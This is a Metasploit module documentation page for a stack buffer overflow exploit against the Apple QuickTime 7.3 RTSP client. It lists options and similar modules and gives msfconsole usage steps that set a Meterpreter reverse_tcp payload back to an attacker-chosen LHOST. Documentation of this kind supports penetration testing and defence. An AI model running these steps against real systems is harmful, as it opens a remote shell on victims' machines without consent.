Browse Exploit & Auxiliary Modules
The Metasploit Project hosts the world's largest database of quality assured exploits, including hundreds of remote exploits, auxiliary modules, and payloads. You can even review the Metasploit Framework source code of any module - or write your own.
Search for modules
Apple QuickTime 7.3 RTSP Response Header Buffer Overflow
This module exploits a stack buffer overflow in Apple QuickTime 7.3. By sending an overly long RTSP response to a client, an attacker may be able to execute arbitrary code.
Rank
- Normal
Authors
- MC < mc [at] metasploit.com >
References
Exploit Targets
- 0 - QuickTime 7.3, QuickTime Player 7.3 (default)
Development
Similar Modules
- exploit/windows/misc/agentxpp_receive_agentx
- exploit/windows/misc/asus_dpcproxy_overflow
- exploit/windows/misc/avidphoneticindexer
- exploit/windows/misc/bakbone_netvault_heap
- exploit/windows/misc/bcaaa_bof
- exploit/windows/misc/bigant_server
- exploit/windows/misc/bigant_server_250
- exploit/windows/misc/bigant_server_usv
- exploit/windows/misc/bomberclone_overflow
- exploit/windows/misc/bopup_comm
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/misc/apple_quicktime_rtsp_response
msf exploit(apple_quicktime_rtsp_response) > show payloads
msf exploit(apple_quicktime_rtsp_response) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(apple_quicktime_rtsp_response) > set LHOST [MY IP ADDRESS]
msf exploit(apple_quicktime_rtsp_response) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/misc/apple_quicktime_rtsp_response
msf exploit(apple_quicktime_rtsp_response) > show payloads
msf exploit(apple_quicktime_rtsp_response) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(apple_quicktime_rtsp_response) > set LHOST [MY IP ADDRESS]
msf exploit(apple_quicktime_rtsp_response) > exploit
Module Options
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The RTSP daemon port to listen on (default: 554) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |